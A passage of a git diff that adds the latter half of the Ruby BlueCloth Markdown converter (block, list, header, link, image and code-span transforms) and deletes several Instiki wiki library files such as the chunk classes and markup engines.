+	BlockTagPattern = BlockTags.join('|')
+
+	# Nested blocks:
+	# 	<div>
+	# 		<div>
+	# 		tags for inner block must be indented.
+	# 		</div>
+	# 	</div>
+	StrictBlockRegex = %r{
+		^						# Start of line
+		<(#{BlockTagPattern})	# Start tag: \2
+		\b						# word break
+		(.*\n)*?				# Any number of lines, minimal match
+		</\1>					# Matching end tag
+		[ ]*					# trailing spaces
+		(?=\n+|\Z)				# End of line or document
+	  }ix
+
+	# More-liberal block-matching
+	LooseBlockRegex = %r{
+		^						# Start of line
+		<(#{BlockTagPattern})	# start tag: \2
+		\b						# word break
+		(.*\n)*?				# Any number of lines, minimal match
+		.*</\1>					# Anything + Matching end tag
+		[ ]*					# trailing spaces
+		(?=\n+|\Z)				# End of line or document
+	  }ix
+
+	# Special case for <hr />.
+	HruleBlockRegex = %r{
+		(						# $1
+			\A\n?				# Start of doc + optional \n
+			|					# or
+			.*\n\n				# anything + blank line
+		)
+		(						# save in $2
+			[ ]*				# Any spaces
+			<hr					# Tag open
+			\b					# Word break
+			([^<>])*?			# Attributes
+			/?>					# Tag close
+			(?=\n\n|\Z)			# followed by a blank line or end of document
+		)
+	  }ix
+
+	### Replace all blocks of HTML in +str+ that start in the left margin with
+	### tokens.
+	def hide_html_blocks( str, rs )
+		@log.debug "Hiding HTML blocks in %p" % str
+		
+		# Tokenizer proc to pass to gsub
+		tokenize = lambda {|match|
+			key = Digest::MD5::hexdigest( match )
+			rs.html_blocks[ key ] = match
+			@log.debug "Replacing %p with %p" %
+				[ match, key ]
+			"\n\n#{key}\n\n"
+		}
+
+		rval = str.dup
+
+		@log.debug "Finding blocks with the strict regex..."
+		rval.gsub!( StrictBlockRegex, &tokenize )
+
+		@log.debug "Finding blocks with the loose regex..."
+		rval.gsub!( LooseBlockRegex, &tokenize )
+
+		@log.debug "Finding hrules..."
+		rval.gsub!( HruleBlockRegex ) {|match| $1 + tokenize[$2] }
+
+		return rval
+	end
+
+
+	# Link defs are in the form: ^[id]: url "optional title"
+	LinkRegex = %r{
+		^[ ]*\[(.+)\]:		# id = $1
+		  [ ]*
+		  \n?				# maybe *one* newline
+		  [ ]*
+		(\S+)				# url = $2
+		  [ ]*
+		  \n?				# maybe one newline
+		  [ ]*
+		(?:
+			# Titles are delimited by "quotes" or (parens).
+			["(]
+			(.+?)			# title = $3
+			[")]			# Matching ) or "
+			[ ]*
+		)?	# title is optional
+		(?:\n+|\Z)
+	  }x
+
+	### Strip link definitions from +str+, storing them in the given RenderState
+	### +rs+.
+	def strip_link_definitions( str, rs )
+		str.gsub( LinkRegex ) {|match|
+			id, url, title = $1, $2, $3
+
+			rs.urls[ id.downcase ] = encode_html( url )
+			unless title.nil?
+				rs.titles[ id.downcase ] = title.gsub( /"/, "&quot;" )
+			end
+			""
+		}
+	end
+
+
+	### Escape special characters in the given +str+
+	def escape_special_chars( str )
+		@log.debug "  Escaping special characters"
+		text = ''
+
+		tokenize_html( str ) {|token, str|
+			@log.debug "   Adding %p token %p" % [ token, str ]
+			case token
+
+			# Within tags, encode * and _
+			when :tag
+				text += str.
+					gsub( /\*/, EscapeTable['*'][:md5] ).
+					gsub( /_/, EscapeTable['_'][:md5] )
+
+			# Encode backslashed stuff in regular text
+			when :text
+				text += encode_backslash_escapes( str )
+			else
+				raise TypeError, "Unknown token type %p" % token
+			end
+		}
+
+		@log.debug "  Text with escapes is now: %p" % text
+		return text
+	end
+
+
+	### Swap escaped special characters in a copy of the given +str+ and return
+	### it.
+	def unescape_special_chars( str )
+		EscapeTable.each {|char, hash|
+			@log.debug "Unescaping escaped %p with %p" %
+				[ char, hash[:md5re] ]
+			str.gsub!( hash[:md5re], char )
+		}
+
+		return str
+	end
+
+
+	### Return a copy of the given +str+ with any backslashed special character
+	### in it replaced with MD5 placeholders.
+	def encode_backslash_escapes( str )
+		# Make a copy with any double-escaped backslashes encoded
+		text = str.gsub( /\\\\/, EscapeTable['\\'][:md5] )
+		
+		EscapeTable.each_pair {|char, esc|
+			next if char == '\\'
+			text.gsub!( esc[:re], esc[:md5] )
+		}
+
+		return text
+	end
+
+
+	### Transform any Markdown-style horizontal rules in a copy of the specified
+	### +str+ and return it.
+	def transform_hrules( str, rs )
+		@log.debug " Transforming horizontal rules"
+		str.gsub( /^( ?[\-\*] ?){3,}$/, "\n<hr#{EmptyElementSuffix}\n" )
+	end
+
+
+
+	# Pattern to transform lists
+	ListRegexp = %r{
+		  (?:
+			^[ ]{0,#{TabWidth - 1}}	# Indent < tab width
+			(\*|\d+\.)						# unordered or ordered ($1)
+			[ ]+							# At least one space
+		  )
+		  (?m:.+?)							# item content (include newlines)
+		  (?:
+			  \z							# Either EOF
+			|								#  or
+			  \n{2,}						# Blank line...
+			  (?=\S)						# ...followed by non-space
+			  (?![ ]* (\*|\d+\.) [ ]+)		# ...but not another item
+		  )
+	  }x
+
+	### Transform Markdown-style lists in a copy of the specified +str+ and
+	### return it.
+	def transform_lists( str, rs )
+		@log.debug " Transforming lists at %p" % (str[0,100] + '...')
+
+		str.gsub( ListRegexp ) {|list|
+			@log.debug "  Found list %p" % list
+			list_type = ($1 == '*' ? "ul" : "ol")
+			list.gsub!( /\n{2,}/, "\n\n\n" )
+
+			%{<%s>\n%s</%s>\n} % [
+				list_type,
+				transform_list_items( list, rs ),
+				list_type,
+			]
+		}
+	end
+
+
+	# Pattern for transforming list items
+	ListItemRegexp = %r{
+		(\n)?							# leading line = $1
+		(^[ ]*)							# leading whitespace = $2
+		(\*|\d+\.) [ ]+					# list marker = $3
+		((?m:.+?)						# list item text   = $4
+		(\n{1,2}))
+		(?= \n* (\z | \2 (\*|\d+\.) [ ]+))
+	  }x
+
+	### Transform list items in a copy of the given +str+ and return it.
+	def transform_list_items( str, rs )
+		@log.debug " Transforming list items"
+
+		# Trim trailing blank lines
+		str = str.sub( /\n{2,}\z/, "\n" )
+
+		str.gsub( ListItemRegexp ) {|line|
+			@log.debug "  Found item line %p" % line
+			leading_line, item = $1, $4
+
+			if leading_line or /\n{2,}/.match( item )
+				@log.debug "   Found leading line or item has a blank"
+				item = apply_block_transforms( outdent(item), rs )
+			else
+				# Recursion for sub-lists
+				@log.debug "   Recursing for sublist"
+				item = transform_lists( outdent(item), rs ).chomp
+				item = apply_span_transforms( item, rs )
+			end
+
+			%{<li>%s</li>\n} % item
+		}
+	end
+
+
+	# Pattern for matching codeblocks
+	CodeBlockRegexp = %r{
+		(.?)								# $1 = preceding character
+		:\n+								# colon + NL delimiter
+		(									# $2 = the code block
+		  (?:
+			(?:[ ]{#{TabWidth}} | \t)		# a tab or tab-width of spaces
+			.*\n+
+		  )+
+		)
+		((?=^[ ]{0,#{TabWidth}}\S)|\Z)		# Lookahead for non-space at
+											# line-start, or end of doc
+	  }x
+
+	### Transform Markdown-style codeblocks in a copy of the specified +str+ and
+	### return it.
+	def transform_code_blocks( str, rs )
+		@log.debug " Transforming code blocks"
+
+		str.gsub( CodeBlockRegexp ) {|block|
+			prevchar, codeblock = $1, $2
+
+			@log.debug "  prevchar = %p" % prevchar
+
+			# Generated the codeblock
+			%{%s\n\n<pre><code>%s\n</code></pre>\n\n} % [
+				(prevchar.empty? || /\s/ =~ prevchar) ? "" : "#{prevchar}:",
+				encode_code( outdent(codeblock), rs ).rstrip,
+			]
+		}
+	end
+
+
+	# Pattern for matching Markdown blockquote blocks
+	BlockQuoteRegexp = %r{
+		  (?:
+			^[ ]*>[ ]?		# '>' at the start of a line
+			  .+\n			# rest of the first line
+			(?:.+\n)*		# subsequent consecutive lines
+			\n*				# blanks
+		  )+
+	  }x
+
+	### Transform Markdown-style blockquotes in a copy of the specified +str+
+	### and return it.
+	def transform_block_quotes( str, rs )
+		@log.debug " Transforming block quotes"
+
+		str.gsub( BlockQuoteRegexp ) {|quote|
+			@log.debug "Making blockquote from %p" % quote
+			quote.gsub!( /^[ ]*>[ ]?/, '' )
+			%{<blockquote>\n%s\n</blockquote>\n\n} %
+				apply_block_transforms( quote, rs ).
+				gsub( /^/, " " * TabWidth )
+		}
+	end
+
+
+	AutoAnchorURLRegexp = /<((https?|ftp):[^'">\s]+)>/
+	AutoAnchorEmailRegexp = %r{
+		<
+		(
+			[-.\w]+
+			\@
+			[-a-z0-9]+(\.[-a-z0-9]+)*\.[a-z]+
+		)
+		>
+	  }x
+
+	### Transform URLs in a copy of the specified +str+ into links and return
+	### it.
+	def transform_auto_links( str, rs )
+		@log.debug " Transforming auto-links"
+		str.gsub( AutoAnchorURLRegexp, %{<a href="\\1">\\1</a>}).
+			gsub( AutoAnchorEmailRegexp ) {|addr|
+			encode_email_address( unescape_special_chars($1) )
+		}
+	end
+
+
+	# Encoder functions to turn characters of an email address into encoded
+	# entities.
+	Encoders = [
+		lambda {|char| "&#%03d;" % char},
+		lambda {|char| "&#x%X;" % char},
+		lambda {|char| char.chr },
+	]
+
+	### Transform a copy of the given email +addr+ into an escaped version safer
+	### for posting publicly.
+	def encode_email_address( addr )
+
+		rval = ''
+		("mailto:" + addr).each_byte {|b|
+			case b
+			when ?:
+				rval += ":"
+			when ?@
+				rval += Encoders[ rand(2) ][ b ]
+			else
+				r = rand(100)
+				rval += (
+					r > 90 ? Encoders[2][ b ] :
+					r < 45 ? Encoders[1][ b ] :
+							 Encoders[0][ b ]
+				)
+			end
+		}
+
+		return %{<a href="%s">%s</a>} % [ rval, rval.sub(/.+?:/, '') ]
+	end
+
+
+	# Regex for matching Setext-style headers
+	SetextHeaderRegexp = %r{
+		(.+)			# The title text ($1)
+		\n
+		([\-=])+		# Match a line of = or -. Save only one in $2.
+		[ ]*\n+
+	   }x
+
+	# Regexp for matching ATX-style headers
+	AtxHeaderRegexp = %r{
+		^(\#{1,6})	# $1 = string of #'s
+		[ ]*
+		(.+?)		# $2 = Header text
+		[ ]*
+		\#*			# optional closing #'s (not counted)
+		\n+
+	  }x
+
+	### Apply Markdown header transforms to a copy of the given +str+ amd render
+	### state +rs+ and return the result.
+	def transform_headers( str, rs )
+		@log.debug " Transforming headers"
+
+		# Setext-style headers:
+		#	  Header 1
+		#	  ========
+		#  
+		#	  Header 2
+		#	  --------
+		#
+		str.
+			gsub( SetextHeaderRegexp ) {|m|
+				@log.debug "Found setext-style header"
+				title, hdrchar = $1, $2
+				title = apply_span_transforms( title, rs )
+
+				case hdrchar
+				when '='
+					%[<h1>#{title}</h1>\n\n]
+				when '-'
+					%[<h2>#{title}</h2>\n\n]
+				else
+					title
+				end
+			}.
+
+			gsub( AtxHeaderRegexp ) {|m|
+				@log.debug "Found ATX-style header"
+				hdrchars, title = $1, $2
+				title = apply_span_transforms( title, rs )
+
+				level = hdrchars.length
+				%{<h%d>%s</h%d>\n\n} % [ level, title, level ]
+			}
+	end
+
+
+	### Wrap all remaining paragraph-looking text in a copy of +str+ inside <p>
+	### tags and return it.
+	def form_paragraphs( str, rs )
+		@log.debug " Forming paragraphs"
+		grafs = str.
+			sub( /\A\n+/, '' ).
+			sub( /\n+\z/, '' ).
+			split( /\n{2,}/ )
+
+		rval = grafs.collect {|graf|
+
+			# Unhashify HTML blocks if this is a placeholder
+			if rs.html_blocks.key?( graf )
+				rs.html_blocks[ graf ]
+
+			# Otherwise, wrap in <p> tags
+			else
+				apply_span_transforms(graf, rs).
+					sub( /^[ ]*/, '<p>' ) + '</p>'
+			end
+		}.join( "\n\n" )
+
+		@log.debug " Formed paragraphs: %p" % rval
+		return rval
+	end
+
+
+	# Pattern to match the linkid part of an anchor tag for reference-style
+	# links.
+	RefLinkIdRegex = %r{
+		[ ]?					# Optional leading space
+		(?:\n[ ]*)?				# Optional newline + spaces
+		\[
+			(.*?)				# Id = $1
+		\]
+	  }x
+
+	InlineLinkRegex = %r{
+		\(						# Literal paren
+			[ ]*				# Zero or more spaces
+			(.*?)				# URI = $1
+			[ ]*				# Zero or more spaces
+			(?:					# 
+				([\"\'])		# Opening quote char = $2
+				(.*?)			# Title = $3
+				\2				# Matching quote char
+			)?					# Title is optional
+		\)
+	  }x
+
+	### Apply Markdown anchor transforms to a copy of the specified +str+ with
+	### the given render state +rs+ and return it.
+	def transform_anchors( str, rs )
+		@log.debug " Transforming anchors"
+		@scanner.string = str.dup
+		text = ''
+
+		# Scan the whole string
+		until @scanner.empty?
+		
+			if @scanner.scan( /\[/ )
+				link = ''; linkid = ''
+				depth = 1
+				startpos = @scanner.pos
+				@log.debug " Found a bracket-open at %d" % startpos
+
+				# Scan the rest of the tag, allowing unlimited nested []s. If
+				# the scanner runs out of text before the opening bracket is
+				# closed, append the text and return (wasn't a valid anchor).
+				while depth.nonzero?
+					linktext = @scanner.scan_until( /\]|\[/ )
+
+					if linktext
+						@log.debug "  Found a bracket at depth %d: %p" %
+							[ depth, linktext ]
+						link += linktext
+
+						# Decrement depth for each closing bracket
+						depth += ( linktext[-1, 1] == ']' ? -1 : 1 )
+						@log.debug "  Depth is now #{depth}"
+
+					# If there's no more brackets, it must not be an anchor, so
+					# just abort.
+					else
+						@log.debug "  Missing closing brace, assuming non-link."
+						link += @scanner.rest
+						@scanner.terminate
+						return text + '[' + link
+					end
+				end
+				link.slice!( -1 ) # Trim final ']'
+				@log.debug " Found leading link %p" % link
+
+				# Look for a reference-style second part
+				if @scanner.scan( RefLinkIdRegex )
+					linkid = @scanner[1]
+					linkid = link.dup if linkid.empty?
+					linkid.downcase!
+					@log.debug "  Found a linkid: %p" % linkid
+
+					# If there's a matching link in the link table, build an
+					# anchor tag for it.
+					if rs.urls.key?( linkid )
+						@log.debug "   Found link key in the link table: %p" %
+							rs.urls[linkid]
+						url = escape_md( rs.urls[linkid] )
+
+						text += %{<a href="#{url}"}
+						if rs.titles.key?(linkid)
+							text += %{ title="%s"} % escape_md( rs.titles[linkid] )
+						end
+						text += %{>#{link}</a>}
+
+					# If the link referred to doesn't exist, just append the raw
+					# source to the result
+					else
+						@log.debug "  Linkid %p not found in link table" % linkid
+						@log.debug "  Appending original string instead: %p" %
+							@scanner.string[ startpos-1 .. @scanner.pos ]
+						text += @scanner.string[ startpos-1 .. @scanner.pos ]
+					end
+
+				# ...or for an inline style second part
+				elsif @scanner.scan( InlineLinkRegex )
+					url = @scanner[1]
+					title = @scanner[3]
+					@log.debug "  Found an inline link to %p" % url
+
+					text += %{<a href="%s"} % escape_md( url )
+					if title
+						text += %{ title="%s"} % escape_md( title )
+					end
+					text += %{>#{link}</a>}
+
+				# No linkid part: just append the first part as-is.
+				else
+					@log.debug "No linkid, so no anchor. Appending literal text."
+					text += @scanner.string[ startpos-1 .. @scanner.pos-1 ]
+				end # if linkid
+
+			# Plain text
+			else
+				@log.debug " Scanning to the next link from %p" % @scanner.rest
+				text += @scanner.scan( /[^\[]+/ )
+			end
+
+		end # until @scanner.empty?
+
+		return text
+	end
+
+	# Pattern to match strong emphasis in Markdown text
+	BoldRegexp = %r{ (\*\*|__) (?=\S) (.+?\S) \1 }x
+
+	# Pattern to match normal emphasis in Markdown text
+	ItalicRegexp = %r{ (\*|_) (?=\S) (.+?\S) \1 }x
+
+	### Transform italic- and bold-encoded text in a copy of the specified +str+
+	### and return it.
+	def transform_italic_and_bold( str, rs )
+		@log.debug " Transforming italic and bold"
+
+		str.
+			gsub( BoldRegexp, %{<strong>\\2</strong>} ).
+			gsub( ItalicRegexp, %{<em>\\2</em>} )
+	end
+
+	
+	### Transform backticked spans into <code> spans.
+	def transform_code_spans( str, rs )
+		@log.debug " Transforming code spans"
+
+		# Set up the string scanner and just return the string unless there's at
+		# least one backtick.
+		@scanner.string = str.dup
+		unless @scanner.exist?( /`/ )
+			@scanner.terminate
+			@log.debug "No backticks found for code span in %p" % str
+			return str
+		end
+
+		@log.debug "Transforming code spans in %p" % str
+
+		# Build the transformed text anew
+		text = ''
+
+		# Scan to the end of the string
+		until @scanner.empty?
+
+			# Scan up to an opening backtick
+			if pre = @scanner.scan_until( /.?(?=`)/m )
+				text += pre
+				@log.debug "Found backtick at %d after '...%s'" %
+					[ @scanner.pos, text[-10, 10] ]
+
+				# Make a pattern to find the end of the span
+				opener = @scanner.scan( /`+/ )
+				len = opener.length
+				closer = Regexp::new( opener )
+				@log.debug "Scanning for end of code span with %p" % closer
+
+				# Scan until the end of the closing backtick sequence. Chop the
+				# backticks off the resultant string, strip leading and trailing
+				# whitespace, and encode any enitites contained in it.
+				codespan = @scanner.scan_until( closer ) or
+					raise FormatError::new( @scanner.rest[0,20],
+						"No %p found before end" % opener )
+
+				@log.debug "Found close of code span at %d: %p" %
+					[ @scanner.pos - len, codespan ]
+				codespan.slice!( -len, len )
+				text += "<code>%s</code>" %
+					encode_code( codespan.strip, rs )
+
+			# If there's no more backticks, just append the rest of the string
+			# and move the scan pointer to the end
+			else
+				text += @scanner.rest
+				@scanner.terminate
+			end
+		end
+
+		return text
+	end
+
+
+	# Next, handle inline images:  ![alt text](url "optional title")
+	# Don't forget: encode * and _
+	InlineImageRegexp = %r{
+		(					# Whole match = $1
+			!\[ (.*?) \]	# alt text = $2
+		  \([ ]* (\S+) [ ]*	# source url = $3
+			(				# title = $4
+			  (["'])		# quote char = $5
+			  .*?
+			  \5			# matching quote
+			  [ ]*
+			)?				# title is optional
+		  \)
+		)
+	  }xs #"
+
+
+	# Reference-style images
+	ReferenceImageRegexp = %r{
+		(					# Whole match = $1
+			!\[ (.*?) \]	# Alt text = $2
+			[ ]?			# Optional space
+			(?:\n[ ]*)?		# One optional newline + spaces
+			\[ (.*?) \]		# id = $3
+		)
+	  }xs
+
+	### Turn image markup into image tags.
+	def transform_images( str, rs )
+		@log.debug " Transforming images" % str
+
+		# Handle reference-style labeled images: ![alt text][id]
+		str.
+			gsub( ReferenceImageRegexp ) {|match|
+				whole, alt, linkid = $1, $2, $3.downcase
+				@log.debug "Matched %p" % match
+				res = nil
+
+				# for shortcut links like ![this][].
+				linkid = alt.downcase if linkid.empty?
+
+				if rs.urls.key?( linkid )
+					url = escape_md( rs.urls[linkid] )
+					@log.debug "Found url '%s' for linkid '%s' " %
+						[ url, linkid ]
+
+					# Build the tag
+					result = %{<img src="%s" alt="%s"} % [ url, alt ]
+					if rs.titles.key?( linkid )
+						result += %{ title="%s"} % escape_md( rs.titles[linkid] )
+					end
+					result += EmptyElementSuffix
+
+				else
+					result = whole
+				end
+
+				@log.debug "Replacing %p with %p" %
+					[ match, result ]
+				result
+			}.
+
+			# Inline image style
+			gsub( InlineImageRegexp ) {|match|
+				@log.debug "Found inline image %p" % match
+				whole, alt, title = $1, $2, $4
+				url = escape_md( $3 )
+
+				# Build the tag
+				result = %{<img src="%s" alt="%s"} % [ url, alt ]
+				unless title.nil?
+					result += %{ title="%s"} % escape_md( title.gsub(/^"|"$/, '') )
+				end
+				result += EmptyElementSuffix
+
+				@log.debug "Replacing %p with %p" %
+					[ match, result ]
+				result
+			}
+	end
+
+
+	# Regexp to match special characters in a code block
+	CodeEscapeRegexp = %r{( \* | _ | \{ | \} | \[ | \] )}x
+
+	### Escape any characters special to HTML and encode any characters special
+	### to Markdown in a copy of the given +str+ and return it.
+	def encode_code( str, rs )
+		str.gsub( %r{&}, '&amp;' ).
+			gsub( %r{<}, '&lt;' ).
+			gsub( %r{>}, '&gt;' ).
+			gsub( CodeEscapeRegexp ) {|match| EscapeTable[match][:md5]}
+	end
+				
+
+
+	#################################################################
+	###	U T I L I T Y   F U N C T I O N S
+	#################################################################
+
+	### Escape any markdown characters in a copy of the given +str+ and return
+	### it.
+	def escape_md( str )
+		str.
+			gsub( /\*/, '&#42;' ).
+			gsub( /_/,  '&#95;' )
+	end
+
+
+	# Matching constructs for tokenizing X/HTML
+	HTMLCommentRegexp  = %r{ <! ( -- .*? -- \s* )+ > }mx
+	XMLProcInstRegexp  = %r{ <\? .*? \?> }mx
+	MetaTag = Regexp::union( HTMLCommentRegexp, XMLProcInstRegexp )
+
+	HTMLTagOpenRegexp  = %r{ < [a-z/!$] [^<>]* }mx
+	HTMLTagCloseRegexp = %r{ > }x
+	HTMLTagPart = Regexp::union( HTMLTagOpenRegexp, HTMLTagCloseRegexp )
+
+	### Break the HTML source in +str+ into a series of tokens and return
+	### them. The tokens are just 2-element Array tuples with a type and the
+	### actual content. If this function is called with a block, the type and
+	### text parts of each token will be yielded to it one at a time as they are
+	### extracted.
+	def tokenize_html( str )
+		depth = 0
+		tokens = []
+		@scanner.string = str.dup
+		type, token = nil, nil
+
+		until @scanner.empty?
+			@log.debug "Scanning from %p" % @scanner.rest
+
+			# Match comments and PIs without nesting
+			if (( token = @scanner.scan(MetaTag) ))
+				type = :tag
+
+			# Do nested matching for HTML tags
+			elsif (( token = @scanner.scan(HTMLTagOpenRegexp) ))
+				tagstart = @scanner.pos
+				@log.debug " Found the start of a plain tag at %d" % tagstart
+
+				# Start the token with the opening angle
+				depth = 1
+				type = :tag
+
+				# Scan the rest of the tag, allowing unlimited nested <>s. If
+				# the scanner runs out of text before the tag is closed, raise
+				# an error.
+				while depth.nonzero?
+
+					# Scan either an opener or a closer
+					chunk = @scanner.scan( HTMLTagPart ) or
+						raise "Malformed tag at character %d: %p" % 
+							[ tagstart, token + @scanner.rest ]
+						
+					@log.debug "  Found another part of the tag at depth %d: %p" %
+						[ depth, chunk ]
+
+					token += chunk
+
+					# If the last character of the token so far is a closing
+					# angle bracket, decrement the depth. Otherwise increment
+					# it for a nested tag.
+					depth += ( token[-1, 1] == '>' ? -1 : 1 )
+					@log.debug "  Depth is now #{depth}"
+				end
+
+			# Match text segments
+			else
+				@log.debug " Looking for a chunk of text"
+				type = :text
+
+				# Scan forward, always matching at least one character to move
+				# the pointer beyond any non-tag '<'.
+				token = @scanner.scan_until( /[^<]+/m )
+			end
+
+			@log.debug " type: %p, token: %p" % [ type, token ]
+
+			# If a block is given, feed it one token at a time. Add the token to
+			# the token list to be returned regardless.
+			if block_given?
+				yield( type, token )
+			end
+			tokens << [ type, token ]
+		end
+
+		return tokens
+	end
+
+
+	### Return a copy of +str+ with angle brackets and ampersands HTML-encoded.
+	def encode_html( str )
+		str.gsub( /&(?!#?[x]?(?:[0-9a-f]+|\w{1,8});)/i, "&amp;" ).
+			gsub( %r{<(?![a-z/?\$!])}i, "&lt;" )
+	end
+
+	
+	### Return one level of line-leading tabs or spaces from a copy of +str+ and
+	### return it.
+	def outdent( str )
+		str.gsub( /^(\t|[ ]{1,#{TabWidth}})/, '')
+	end
+	
+end # class BlueCloth
+
diff --git a/lib/caching_stuff.rb b/lib/caching_stuff.rb
deleted file mode 100644
index fc7750eb..00000000
--- a/lib/caching_stuff.rb
+++ /dev/null
@@ -1,20 +0,0 @@
-# based on http://pastie.org/49840
-# override the fragment_cache_key method in actionpack/lib/action_controller/caching/fragments.rb
-# to remove hostname in fragment caching
-# so instead of caching different fragments for "example.com/posts/list" and 
-# "www.example.com/posts/list", instead it will just use "posts/list"
-module CachingStuff
-  module ActionController
-    module Caching
-      module Fragments
-        def fragment_cache_key(key)
-          ActiveSupport::Cache.expand_cache_key(key.is_a?(Hash) ? url_for(key.merge(:host=>"")).split(":///").last : key.split('/')[1..-1].join('/').gsub(/\?format=.*/,''), :views)
-        end
-      end
-    end
-  end
-end
-
-ActionController::Base.class_eval do
-  include CachingStuff::ActionController::Caching::Fragments
-end
diff --git a/lib/chunks/category.rb b/lib/chunks/category.rb
deleted file mode 100644
index ab90f088..00000000
--- a/lib/chunks/category.rb
+++ /dev/null
@@ -1,38 +0,0 @@
-require 'chunks/chunk'
-require 'instiki_stringsupport'
-
-# The category chunk looks for "category: news" on a line by
-# itself and parses the terms after the ':' as categories.
-# Other classes can search for Category chunks within
-# rendered content to find out what categories this page
-# should be in.
-#
-# Category lines can be hidden using ':category: news', for example
-class Category < Chunk::Abstract
-
-  CATEGORY_PATTERN = /^(:)?category\s*:(.*)$/i
-  def self.pattern() CATEGORY_PATTERN  end
-
-  attr_reader :hidden, :list
-
-def initialize(match_data, content)
-    super(match_data, content)
-    @content = content
-    @hidden = match_data[1]
-    @list = match_data[2].split(',').map { |c| clean = c.purify.strip.escapeHTML; clean if clean != ''}
-    @list.compact!
-    @unmask_text = ''
-    if @hidden
-      @unmask_text = ''
-    else
-      category_urls = @list.map { |category| url(category) }.join(', ')
-      @unmask_text = '<div class="property"> category: ' + category_urls + '</div>'
-    end
-  end
-
-  # TODO move presentation of page metadata to controller/view
-  def url(category)
-    %{<a class="category_link" href="#{@content.url_generator.url_for :web => @content.web.address,
-                    :action => 'list', :only_path => true}/#{CGI.escape(category)}">#{category}</a>}
-  end
-end
diff --git a/lib/chunks/chunk.rb b/lib/chunks/chunk.rb
deleted file mode 100644
index 31806e44..00000000
--- a/lib/chunks/chunk.rb
+++ /dev/null
@@ -1,85 +0,0 @@
-#require 'uri/common'
-
-# A chunk is a pattern of text that can be protected
-# and interrogated by a renderer. Each Chunk class has a 
-# +pattern+ that states what sort of text it matches.
-# Chunks are initalized by passing in the result of a
-# match by its pattern. 
-
-module Chunk
-  class Abstract
-
-# Rails's default utf-8 support causes problems here. So, for Chunk::Abstract class, turn off
-# multibyte character support.
-    $KCODE = 'n' unless ''.respond_to?(:force_encoding)
-
-    # automatically construct the array of derivatives of Chunk::Abstract
-    @derivatives = [] 
-
-    class << self 
-      attr_reader :derivatives 
-    end 
-    
-    def self::inherited( klass ) 
-      Abstract::derivatives << klass 
-    end 
-    
-    # the class name part of the mask strings
-    def self.mask_string
-      self.to_s.delete(':').downcase
-    end
-
-    # a regexp that matches all chunk_types masks
-    def Abstract::mask_re(chunk_types)
-      chunk_classes = chunk_types.map{|klass| klass.mask_string}.join("|")
-      /chunk(-?\d+)(#{chunk_classes})chunk/
-    end
-    
-    attr_reader :text, :unmask_text, :unmask_mode
-
-    def initialize(match_data, content) 
-      @text = match_data[0] 
-      @content = content
-      @unmask_mode = :normal
-    end
-
-    # Find all the chunks of the given type in content
-    # Each time the pattern is matched, create a new
-    # chunk for it, and replace the occurrence of the chunk
-    # in this content with its mask.
-	def self.apply_to(content)
-	  text = content.to_str
-	  text.gsub!( self.pattern ) do |match|
-        new_chunk = self.new($~, content)
-        content.add_chunk(new_chunk)
-        new_chunk.mask
-       end
-       content.replace text
-    end
-
-    # should contain only [a-z0-9]
-    def mask
-      @mask ||= "chunk#{self.object_id}#{self.class.mask_string}chunk"
-    end
-
-    def unmask
-      @content.replace  @content.sub(mask){|s| s.replace @unmask_text}
-    end
-
-    def rendered?
-      @unmask_mode == :normal
-    end
-
-    def escaped?
-      @unmask_mode == :escape
-    end
-
-    def revert
-      @content.replace  @content.sub(mask){|s| s.replace @text}
-      # unregister
-      @content.delete_chunk(self)
-    end
-
-  end
-
-end
diff --git a/lib/chunks/engines.rb b/lib/chunks/engines.rb
deleted file mode 100644
index 79511236..00000000
--- a/lib/chunks/engines.rb
+++ /dev/null
@@ -1,134 +0,0 @@
-$: << File.dirname(__FILE__) + "../../lib"
-
-require_dependency 'chunks/chunk'
-require 'instiki_stringsupport'
-require 'maruku'
-require 'maruku/ext/math'
-require_dependency 'rdocsupport'
-require 'redcloth'
-require 'oldredcloth'
-
-# The markup engines are Chunks that call the one of RedCloth
-# or RDoc to convert text. This markup occurs when the chunk is required
-# to mask itself.
-module Engines
-  class AbstractEngine < Chunk::Abstract
-
-    # Create a new chunk for the whole content and replace it with its mask.
-    def self.apply_to(content)
-      new_chunk = self.new(content)
-      content.replace(new_chunk.mask)
-    end
-
-    private 
-
-    # Never create engines by constructor - use apply_to instead
-    def initialize(content) 
-      @content = content
-    end
-
-  end
-
-  class Textile < AbstractEngine
-    def mask
-      @content.as_utf8
-      redcloth = RedCloth.new(@content, [:hard_breaks] + @content.options[:engine_opts])
-      redcloth.filter_html = false
-      redcloth.no_span_caps = false  
-      html = redcloth.to_html(:textile)
-    end
-  end
-
-  class Markdown < AbstractEngine
-    def mask
-      text = @content.as_utf8.to_str.delete("\r").to_utf8
-      # If the request is for S5, call Maruku accordingly (without math)
-      if @content.options[:mode] == :s5
-        my_content = Maruku.new(text,
-                           {:math_enabled => false, :content_only => true,
-                            :author => @content.options[:engine_opts][:author],
-                            :title => @content.options[:engine_opts][:title]})
-        @content.options[:renderer].s5_theme = my_content.s5_theme
-      else
-        html = Maruku.new(text, {:math_enabled => false}).to_html
-        html.gsub(/\A<div class="maruku_wrapper_div">\n?(.*?)\n?<\/div>\Z/m, '\1')
-      end
-
-    end
-  end
-
-  class MarkdownMML < AbstractEngine
-    def mask
-      text = @content.as_utf8.to_str.delete("\r").to_utf8
-      # If the request is for S5, call Maruku accordingly
-      if @content.options[:mode] == :s5
-        my_content = Maruku.new(text,
-                           {:math_enabled => true,
-                            :math_numbered => ['\\[','\\begin{equation}'],
-                            :content_only => true,
-                            :author => @content.options[:engine_opts][:author],
-                            :title => @content.options[:engine_opts][:title]})
-        @content.options[:renderer].s5_theme = my_content.s5_theme
-        my_content.to_s5
-      else
-        (t = Time.now; nil)        
-        html = Maruku.new(text,
-             {:math_enabled => true,
-              :math_numbered => ['\\[','\\begin{equation}']}).to_html
-        (ApplicationController.logger.info("Maruku took " + (Time.now-t).to_s + " seconds."); nil)
-        html.gsub(/\A<div class="maruku_wrapper_div">\n?(.*?)\n?<\/div>\Z/m, '\1')
-      end
-    end
-  end
-
-  class MarkdownPNG < AbstractEngine
-    def mask
-      text = @content.as_utf8.to_str.delete("\r").to_utf8
-      # If the request is for S5, call Maruku accordingly
-      if @content.options[:mode] == :s5
-        my_content = Maruku.new(text,
-                           {:math_enabled => true,
-                            :math_numbered => ['\\[','\\begin{equation}'],
-                            :html_math_output_mathml => false,
-                            :html_math_output_png => true,
-                            :html_png_engine => 'blahtex',
-                            :html_png_dir => @content.web.files_path.join('pngs').to_s,
-                            :html_png_url => @content.options[:png_url],
-                            :content_only => true,
-                            :author => @content.options[:engine_opts][:author],
